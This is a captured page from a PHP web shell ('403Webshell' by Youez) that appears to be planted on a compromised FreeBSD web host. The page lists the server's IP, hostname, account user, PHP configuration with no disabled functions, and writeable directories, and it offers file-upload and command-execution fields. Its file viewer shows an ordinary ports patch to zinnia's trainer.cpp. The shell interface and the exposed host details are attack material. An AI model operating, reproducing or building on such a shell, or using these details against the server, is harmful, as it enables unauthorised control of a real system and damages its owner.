403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/japanese/zinnia/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/japanese/zinnia/files/patch-trainer.cpp
--- trainer.cpp.orig	2010-05-09 05:34:08 UTC
+++ trainer.cpp
@@ -93,7 +93,7 @@ class TrainerImpl: public Trainer {
 
  public:
   bool add(const Character &character) {
-    const std::string y = character.value();
+    std::string y = character.value();
     CHECK_FALSE(!y.empty()) << "input character is empty";
     Features features;
     CHECK_FALSE(features.read(character)) << "cannot read character: " << y;
@@ -103,7 +103,7 @@ class TrainerImpl: public Trainer {
     if (!fn) {
       return false;
     }
-    x_.push_back(std::make_pair<std::string, FeatureNode *>(y, fn));
+    x_.push_back(std::make_pair(y, fn));
     return true;
   }
 

Youez - 2016 - github.com/yon3zu
LinuXploit